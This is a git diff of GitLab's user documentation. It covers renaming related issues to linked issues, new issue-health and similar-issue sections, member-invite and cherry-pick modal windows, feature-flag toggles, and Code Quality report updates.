-is pushed to a project's [**default** branch](../repository/branches/index.md#default-branch),
+is pushed to a project's [**default** branch](../repository/branches/default.md),
or when a commit or merge request is merged into it.
For example, if `Closes #4, #6, Related to #5` is included in a Merge Request
@@ -315,3 +315,44 @@ To add an issue to an [iteration](../../group/iterations/index.md):
You can also use the `/iteration`
[quick action](../quick_actions.md#issues-merge-requests-and-epics)
in a comment or description field.
+
+## Real-time sidebar **(FREE SELF)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3.
+
+Assignees in the sidebar are updated in real time. This feature is **disabled by default**.
+To enable it, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html).
+
+## Similar issues
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22866) in GitLab 11.6.
+
+To prevent duplication of issues for the same topic, GitLab searches for similar issues
+when new issues are being created.
+
+As you type in the title field of the **New Issue** page, GitLab searches titles and descriptions
+across all issues to in the current project. Only issues you have access to are returned.
+Up to five similar issues, sorted by most recently updated, are displayed below the title box.
+[GraphQL](../../../api/graphql/index.md) must be enabled to use this feature.
+
+![Similar issues](img/similar_issues.png)
+
+## Health status **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab Ultimate 12.10.
+> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab Ultimate 13.4 and later.
+> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab Ultimate 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
+
+To help you track issue statuses, you can assign a status to each issue.
+This marks issues as progressing as planned or needs attention to keep on schedule:
+
+- On track (green)
+- Needs attention (amber)
+- At risk (red)
+
+After an issue is closed, its health status can't be edited and the **Edit** button becomes disabled
+until the issue is reopened.
+
+You can then see issue statuses in the issues list and the
+[epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree).
diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md
index 91c26d49532..e4972181a5a 100644
--- a/doc/user/project/issues/related_issues.md
+++ b/doc/user/project/issues/related_issues.md
@@ -4,67 +4,63 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Related issues **(FREE)**
+# Linked issues **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1797) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.4.
-> - The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4.
+> The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4.
-Related issues are a bi-directional relationship between any two issues
-and appear in a block below the issue description. Issues can be across groups
-and projects.
+Linked issues are a bi-directional relationship between any two issues and appear in a block below
+the issue description. Issues can be across groups and projects.
-You can set any issue as:
-
-- Related to another issue
-- Blocking another issue **(STARTER)**
-- Blocked by another issue **(STARTER)**
-
-The relationship only shows up in the UI if the user can see both issues.
-
-When you try to close an issue that has open blockers, a warning is displayed.
+The relationship only shows up in the UI if the user can see both issues. When you try to close an
+issue that has open blockers, a warning is displayed.
NOTE:
-To manage related issues through our API, visit the [issue links API documentation](../../../api/issue_links.md).
+To manage linked issues through our API, visit the [issue links API documentation](../../../api/issue_links.md).
-## Adding a related issue
+## Add a linked issue
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2035) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8.
-> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/34239) to warn when attempting to close an issue that is blocked by others in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2035) in GitLab 12.8.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/34239) to warn when attempting to close an issue that is blocked by others in GitLab 13.0.
> When you try to close an issue with open blockers, you see a warning that you can dismiss.
-1. Relate one issue to another by clicking the related issues "+" button
-in the header of the related issue block.
+1. Link one issue to another by selecting the add linked issue button (**{plus}**) in the
+ **Linked issues** section of an issue.
-1. Input the issue reference number or paste in the full URL of the issue.
+1. Select the relationship the between the two issues. Either:
+ - **relates to**
+ - **blocks** **(PREMIUM)**
+ - **is blocked by** **(PREMIUM)**
+1. Input the issue number or paste in the full URL of the issue.
-1. **(STARTER)** Select whether the current issue relates to, blocks, or is blocked by the issues being entered.
+ ![Adding a related issue](img/related_issues_add_v12_8.png)
- ![Adding a related issue](img/related_issues_add_v12_8.png)
+ Issues of the same project can be specified just by the reference number.
+ Issues from a different project require additional information like the
+ group and the project name. For example:
- Issues of the same project can be specified just by the reference number.
- Issues from a different project require additional information like the
- group and the project name. For example:
+ - The same project: `#44`
+ - The same group: `project#44`
+ - Different group: `group/project#44`
- - same project: `#44`
- - same group: `project#44`
- - different group: `group/project#44`
+ Valid references are added to a temporary list that you can review.
- Valid references are added to a temporary list that you can review.
+1. When you have added all the linked issues, select **Add**.
-1. When you have added all the related issues, click **Add** to submit.
-
-When you have finished adding all related issues, you can see
+When you have finished adding all linked issues, you can see
them categorized so their relationships can be better understood visually.
![Related issue block](img/related_issue_block_v12_8.png)
-## Removing a related issue
+You can also add a linked issue from a commit message or the description in another issue or MR.
+[Learn more about crosslinking issues](crosslinking_issues.md).
+
+## Remove a linked issue
-In the related issues block, click the "x" icon on the right-side of each issue
-token that you wish to remove.
+In the **Linked issues** section of an issue, click the remove button (**{close}**) on the
+right-side of each issue token to remove.
-Due to the bi-directional relationship, it no longer appears in either issue.
+Due to the bi-directional relationship, the relationship no longer appears in either issue.
![Removing a related issue](img/related_issues_remove_v12_8.png)
-Please access our [permissions](../../permissions.md) page for more information.
+Access our [permissions](../../permissions.md) page for more information.
diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md
index 3a393b18579..97a790c2527 100644
--- a/doc/user/project/issues/sorting_issue_lists.md
+++ b/doc/user/project/issues/sorting_issue_lists.md
@@ -24,6 +24,12 @@ For sorting by issue priority, see [Label Priority](../labels.md#label-priority)
In group and project issue lists, it is also possible to order issues manually,
similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list).
+## Sorting by popularity
+
+When you select sorting by **Popularity**, the issue order changes to sort descending by the
+number of upvotes ([awarded](../../award_emojis.md) "thumbs up" emoji)
+on each issue. You can use this to identify issues that are in high demand.
+
## Manual sorting
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62178) in GitLab 12.2.
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index c0a66343a88..fd5045f2e93 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -162,7 +162,7 @@ Scoped labels allow teams to use the label feature to annotate issues, merge req
and epics with mutually exclusive labels. This can enable more complicated workflows
by preventing certain labels from being used together.
-A label is scoped when it uses a special double-colon (`::`) syntax in the label’s
+A label is scoped when it uses a special double-colon (`::`) syntax in the label's
title, for example:
![Scoped labels](img/labels_key_value_v13_5.png)
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index 057c2930706..2993849e0e6 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -78,7 +78,8 @@ want to add.
![Search for people](img/add_user_search_people_v13_8.png)
Select the user and the [permission level](../../permissions.md)
-that you'd like to give the user. Note that you can select more than one user.
+that you'd like to give the user. You can add more than one user at a time.
+The Owner role can only be assigned at the group level.
![Give user permissions](img/add_user_give_permissions_v13_8.png)
@@ -108,6 +109,9 @@ had on the project you imported from are retained.
## Invite people using their e-mail address
+NOTE:
+In GitLab 13.11, you can [replace this form with a modal window](#add-a-member-modal-window).
+
If a user you want to give access to doesn't have an account on your GitLab
instance, you can invite them just by typing their e-mail address in the
user search field.
@@ -134,6 +138,46 @@ GitLab account using the same e-mail address the invitation was sent to.
NOTE:
Unaccepted invites are automatically deleted after 90 days.
+### Add a member modal window
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11.
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - Replaces the existing form with buttons to open a modal window.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-modal-window). **(FREE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+In GitLab 13.11, you can optionally replace the form to add a member with a modal window.
+To add a member after enabling this feature:
+
+1. Go to your project's page.
+1. In the left sidebar, go to **Members**, and then select **Invite members**.
+1. Enter an email address, and select a role permission for this user.
+1. (Optional) Select an **Access expiration date**.
+1. Select **Invite**.
+
+### Enable or disable modal window **(FREE SELF)**
+
+The modal window for adding a member is under development and is ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:invite_members_group_modal)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:invite_members_group_modal)
+```
+
## Project membership and requesting access
Project owners can :
diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md
index 8ca403783cb..8338c17f4ba 100644
--- a/doc/user/project/members/share_project_with_groups.md
+++ b/doc/user/project/members/share_project_with_groups.md
@@ -17,6 +17,9 @@ members.
## Sharing a project with a group of users
+NOTE:
+In GitLab 13.11, you can [replace this form with a modal window](#share-a-project-modal-window).
+
The primary mechanism to give a group of users, say 'Engineering', access to a project,
say 'Project Acme', in GitLab is to make the 'Engineering' group the owner of 'Project
Acme'. But what if 'Project Acme' already belongs to another group, say 'Open Source'?
@@ -48,6 +51,46 @@ Note that you can only share a project with:
Administrators are able to share projects with any group in the system.
+### Share a project modal window
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11.
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - Replaces the existing form with buttons to open a modal window.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-modal-window). **(FREE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+In GitLab 13.11, you can optionally replace the sharing form with a modal window.
+To share a project after enabling this feature:
+
+1. Go to your project's page.
+1. In the left sidebar, go to **Members**, and then select **Invite a group**.
+1. Select a group, and select a **Max access level**.
+1. (Optional) Select an **Access expiration date**.
+1. Select **Invite**.
+
+### Enable or disable modal window **(FREE SELF)**
+
+The modal window for sharing a project is under development and is ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:invite_members_group_modal)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:invite_members_group_modal)
+```
+
## Maximum access level
In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') only have 'Developer' access to 'Project Acme'.
diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md
index c518113d3dd..09770bd447d 100644
--- a/doc/user/project/merge_requests/accessibility_testing.md
+++ b/doc/user/project/merge_requests/accessibility_testing.md
@@ -57,7 +57,7 @@ include:
creates an `a11y` job in your CI/CD pipeline, runs
Pa11y against the web pages defined in `a11y_urls`, and builds an HTML report for each.
-The report for each URL is saved as an artifact that can be [viewed directly in your browser](../../../ci/pipelines/job_artifacts.md#browsing-artifacts).
+The report for each URL is saved as an artifact that can be [viewed directly in your browser](../../../ci/pipelines/job_artifacts.md#download-job-artifacts).
A single `gl-accessibility.json` artifact is created and saved along with the individual HTML reports.
It includes report data for all URLs scanned.
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index 7a869ed071a..76913351283 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -40,7 +40,7 @@ Consider the following workflow:
## How browser performance testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance).
+[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance).
GitLab then checks this report, compares key performance metrics for each page
between the source and target branches, and shows the information in the merge request.
@@ -88,7 +88,7 @@ The example uses a CI/CD template that is included in all GitLab installations s
or older, you must [add the configuration manually](#gitlab-versions-123-and-older)
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
-and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance)
+and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance)
that you can later download and analyze. This implementation always takes the latest
Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled,
you can view the report directly in your browser.
diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md
index 4c9a6557320..f531cd52af1 100644
--- a/doc/user/project/merge_requests/cherry_pick_changes.md
+++ b/doc/user/project/merge_requests/cherry_pick_changes.md
@@ -9,7 +9,7 @@ type: reference, concepts
GitLab implements Git's powerful feature to
[cherry-pick any commit](https://git-scm.com/docs/git-cherry-pick "Git cherry-pick documentation")
-with introducing a **Cherry-pick** button in merge requests and commit details.
+with a **Cherry-pick** button in merge requests and commit details.
## Cherry-picking a merge request
@@ -60,6 +60,46 @@ mainline:
git cherry-pick -m 2 7a39eb0
```
+### Cherry-pick into a project
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21268) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cherry-picking-into-a-project). **(FREE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can use the GitLab UI to cherry-pick merge requests into a project, even if the
+merge request is from a fork:
+
+1. In the merge request's secondary menu, click **Commits** to display the commit details page.
+1. Click on the **Options** dropdown and select **Cherry-pick** to show the cherry-pick modal.
+1. In **Pick into project** and **Pick into branch**, select the destination project and branch:
+ ![Cherry-pick commit](img/cherry_pick_into_project_v13_11.png)
+1. (Optional) Select **Start a new merge request** if you're ready to create a merge request.
+1. Click **Cherry-pick**.
+
+### Enable or disable cherry-picking into a project **(FREE SELF)**
+
+Cherry-picking into a project is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:pick_into_project)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:pick_into_project)
+```
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 42c2547a618..0fe1b9801cc 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -15,7 +15,7 @@ source code quality using GitLab Code Quality.
Code Quality:
-- Uses [Code Climate Engines](https://codeclimate.com), which are
+- Uses [Engines](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are
free and open source. Code Quality does not require a Code Climate
subscription.
- Runs in [pipelines](../../../ci/pipelines/index.md) using a Docker image built in the
@@ -33,7 +33,7 @@ Code Quality:
Going a step further, GitLab can show the Code Quality report right
in the merge request widget area if a report from the target branch is available to compare to:
-![Code Quality Widget](img/code_quality.png)
+![Code Quality Widget](img/code_quality_widget_13_11.png)
Watch a quick walkthrough of Code Quality in action:
@@ -49,6 +49,26 @@ For one customer, the auditor found that having Code Quality, SAST, and Containe
See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability).
+## Code Quality in diff view **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.11.
+> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+
+Changes to files in merge requests can cause Code Quality to fall if merged. In these cases,
+an indicator is displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view. For example:
+
+![Code Quality MR diff report](img/code_quality_mr_diff_report_v13_11.png)
+
+To enable this feature, a GitLab administrator can run the following in a
+[Rails console](../../../administration/operations/rails_console.md):
+
+```ruby
+# For the instance
+Feature.enable(:codequality_mr_diff)
+# For a single project
+Feature.enable(:codequality_mr_diff, Project.find(<project id>))
+```
+
## Use cases
For instance, consider the following workflow:
@@ -85,7 +105,7 @@ include:
The above example creates a `code_quality` job in your CI/CD pipeline which
scans your source code for code quality issues. The report is saved as a
-[Code Quality report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality)
+[Code Quality report artifact](../../../ci/yaml/README.md#artifactsreportscodequality)
that you can later download and analyze.
It's also possible to override the URL to the Code Quality image by
@@ -242,12 +262,11 @@ to learn more about how to define one.
To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable.
This can be done:
-- For the whole project, [in the project settings](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
- or [CI/CD configuration](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+- For [the whole project](../../../ci/variables/README.md#custom-cicd-variables).
- For a single pipeline run:
1. Go to **CI/CD > Pipelines**
- 1. Click **Run Pipeline**
+ 1. Click **Run pipeline**
1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value.
### Using with merge request pipelines
@@ -309,7 +328,7 @@ do this:
1. Define a job in your `.gitlab-ci.yml` file that generates the
[Code Quality report
- artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality).
+ artifact](../../../ci/yaml/README.md#artifactsreportscodequality).
1. Configure your tool to generate the Code Quality report artifact as a JSON
file that implements a subset of the [Code Climate
spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types).
@@ -347,7 +366,11 @@ NOTE:
Although the Code Climate spec supports more properties, those are ignored by
GitLab.
-## Code Quality reports
+## Code Quality reports **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab Premium 12.9.
+
+![Code Quality Report](img/code_quality_report_13_11.png)
After the Code Quality job completes:
@@ -355,7 +378,7 @@ After the Code Quality job completes:
The Code Quality widget in the merge request compares the reports from the base and head of the branch,
then lists any violations that are resolved or created when the branch is merged.
- The full JSON report is available as a
- [downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts)
+ [downloadable artifact](../../../ci/pipelines/job_artifacts.md#download-job-artifacts)
for the `code_quality` job.
- The full list of code quality violations generated by a pipeline is shown in the
Code Quality tab of the Pipeline Details page. **(PREMIUM)**
@@ -552,3 +575,8 @@ plugins:
enabled: true
channel: rubocop-0-67
```
+
+### No Code Quality appears on merge requests when using custom tool
+
+If your merge requests do not show any code quality changes when using a custom tool,
+ensure that the line property is an `integer`.
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index 58e80504212..3a5a581198b 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -172,6 +172,9 @@ create a merge request from your fork to contribute back to the main project:
1. In the left menu, go to **Merge Requests**, and click **New Merge Request**.
1. In the **Source branch** drop-down list box, select your branch in your forked repository as the source branch.
1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch.
+ You can set a [default target project](#set-the-default-target-project) to
+ change the default target branch (which can be useful when working with a
+ forked project).
1. After entering the credentials, click **Compare branches and continue** to compare your local changes to the upstream repository.
1. Assign a user to review your changes, and click **Submit merge request**.
@@ -183,6 +186,24 @@ fork from its upstream project in the **Settings > Advanced Settings** section b
For further details, [see the forking workflow documentation](../repository/forking_workflow.md).
+## Set the default target project
+
+Merge requests have a source and a target project which are the same, unless
+forking is involved. Creating a fork of the project can cause either of these
+scenarios when you create a new merge request:
+
+- You target an upstream project (the project you forked, and the default
+ option).
+- You target your own fork.
+
+If you want to have merge requests from a fork by default target your own fork
+(instead of the upstream project), you can change the default by:
+
+1. In your project, go to **Settings > General > Merge requests**.
+1. In the **Target project** section, select the option you want to use for
+ your default target project.
+1. Select **Save changes**.
+
## New merge request by email **(FREE SELF)**
_This feature needs [incoming email](../../../administration/incoming_email.md)
diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md
index f4843b96c99..f973d9220f2 100644
--- a/doc/user/project/merge_requests/csv_export.md
+++ b/doc/user/project/merge_requests/csv_export.md
@@ -41,5 +41,5 @@ The following table shows what attributes will be present in the CSV.
## Limitations
-- Export merge requests to CSV is not available at the Group’s merge request list.
+- Export merge requests to CSV is not available at the Group's merge request list.
- As the merge request CSV file is sent as an email attachment, the size is limited to 15MB to ensure successful delivery across a range of email providers. If you need to minimize the size of the file, you can narrow the search before export. For example, you can set up exports of open and closed merge requests in separate files.
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index f25228729cf..1bb333dcb14 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -206,10 +206,10 @@ is set for deletion, the merge request widget displays the
### Branch retargeting on merge **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320895) on GitLab 13.10.
-> - It's recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [disable it](#enable-or-disable-branch-retargeting-on-merge). **(FREE SELF)**
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320895) in GitLab 13.10.
+> - Recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [disable it](#enable-or-disable-branch-retargeting-on-merge). **(FREE SELF)**
In specific circumstances, GitLab can retarget the destination branch of
open merge request, if the destination branch merges while the merge request is
@@ -230,8 +230,6 @@ GitLab retargets up to four merge requests when their target branch is merged in
`master`, so you don't need to perform this operation manually. Merge requests from
forks are not retargeted.
-The feature today works only one a merge. Clicking the `Remove source branch` button
-after the merge request was merged will not automatically retarget merge request.
The feature today works only on merge. Clicking the **Remove source branch** button
after the merge request was merged will not automatically retarget a merge request.
This improvement is [tracked as a follow-up](https://gitlab.com/gitlab-org/gitlab/-/issues/321559).
diff --git a/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png b/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png
new file mode 100644
index 00000000000..ada036255f2
--- /dev/null
+++ b/doc/user/project/merge_requests/img/cherry_pick_into_project_v13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality.png b/doc/user/project/merge_requests/img/code_quality.png
deleted file mode 100644
index 1e7dd64baff..00000000000
--- a/doc/user/project/merge_requests/img/code_quality.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png
new file mode 100644
index 00000000000..0fcdc252735
--- /dev/null
+++ b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality_report_13_11.png b/doc/user/project/merge_requests/img/code_quality_report_13_11.png
new file mode 100644
index 00000000000..36341548328
--- /dev/null
+++ b/doc/user/project/merge_requests/img/code_quality_report_13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality_widget_13_11.png b/doc/user/project/merge_requests/img/code_quality_widget_13_11.png
new file mode 100644
index 00000000000..57978a0ed96
--- /dev/null
+++ b/doc/user/project/merge_requests/img/code_quality_widget_13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/commit_nav_v13_11.png b/doc/user/project/merge_requests/img/commit_nav_v13_11.png
new file mode 100644
index 00000000000..a9bc8fa6bee
--- /dev/null
+++ b/doc/user/project/merge_requests/img/commit_nav_v13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/commit_nav_v13_4.png b/doc/user/project/merge_requests/img/commit_nav_v13_4.png
deleted file mode 100644
index 0ae6ce32693..00000000000
--- a/doc/user/project/merge_requests/img/commit_nav_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png b/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png
deleted file mode 100644
index 9284e58f456..00000000000
--- a/doc/user/project/merge_requests/img/merge_request_tab_position_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png b/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png
new file mode 100644
index 00000000000..52c715840f1
--- /dev/null
+++ b/doc/user/project/merge_requests/img/merge_request_tab_position_v13_11.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png b/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png
index b1c2e147134..a6636f0bc7f 100644
--- a/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png
+++ b/doc/user/project/merge_requests/img/scoped_to_protected_branch_v13_10.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png b/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png
index c0cc0db600c..c5596b965ff 100644
--- a/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png
+++ b/doc/user/project/merge_requests/img/update_approval_rule_v13_10.png
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index 99e0193d496..1fed30dc589 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -7,12 +7,10 @@ type: index, reference
# Merge requests **(FREE)**
-Whenever you need to merge one branch into another branch with GitLab, you
-must create a merge request (MR).
+Merge requests (MRs) are the way you check source code changes into a branch.
-Using merge requests, you can visualize and collaborate on proposed changes to
-source code. Merge requests display information about the proposed code changes,
-including:
+When you open a merge request, you can visualize and collaborate on the code changes before merge.
+Merge requests include:
- A description of the request.
- Code changes and inline code reviews.
@@ -20,55 +18,50 @@ including:
- A comment section for discussion threads.
- The list of commits.
-Based on your workflow, after review you can merge a merge request into its
-target branch.
-
To get started, read the [introduction to merge requests](getting_started.md).
-## Use cases
+## Merge request workflows
-A. Consider you're a software developer working in a team:
+For a software developer working in a team:
-1. You checkout a new branch, and submit your changes through a merge request
-1. You gather feedback from your team
-1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md)
-1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD
-1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md) **(ULTIMATE)**
-1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)**
+1. You checkout a new branch, and submit your changes through a merge request.
+1. You gather feedback from your team.
+1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md).
+1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD.
+1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md).
+1. You request the [approval](merge_request_approvals.md) from your manager.
1. Your manager:
- 1. Pushes a commit with their final review
- 1. [Approves the merge request](merge_request_approvals.md) **(STARTER)**
- 1. Sets it to [merge when pipeline succeeds](merge_when_pipeline_succeeds.md)
-1. Your changes get deployed to production with [manual actions](../../../ci/yaml/README.md#whenmanual) for GitLab CI/CD
-1. Your implementations were successfully shipped to your customer
-
-B. Consider you're a web developer writing a webpage for your company's website:
-
-1. You checkout a new branch, and submit a new page through a merge request
-1. You gather feedback from your reviewers
-1. Your changes are previewed with [Review Apps](../../../ci/review_apps/index.md)
-1. You request your web designers for their implementation
-1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)**
-1. Once approved, your merge request is [squashed and merged](squash_and_merge.md), and [deployed to staging with GitLab Pages](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/)
-1. Your production team [cherry picks](cherry_pick_changes.md) the merge commit into production
+ 1. Pushes a commit with their final review.
+ 1. [Approves the merge request](merge_request_approvals.md).
+ 1. Sets it to [merge when pipeline succeeds](merge_when_pipeline_succeeds.md).
+1. Your changes get deployed to production with [manual actions](../../../ci/yaml/README.md#whenmanual) for GitLab CI/CD.
+1. Your implementations were successfully shipped to your customer.
+
+For a web developer writing a webpage for your company's website:
+
+1. You checkout a new branch and submit a new page through a merge request.
+1. You gather feedback from your reviewers.
+1. You preview your changes with [Review Apps](../../../ci/review_apps/index.md).
+1. You request your web designers for their implementation.
+1. You request the [approval](merge_request_approvals.md) from your manager.
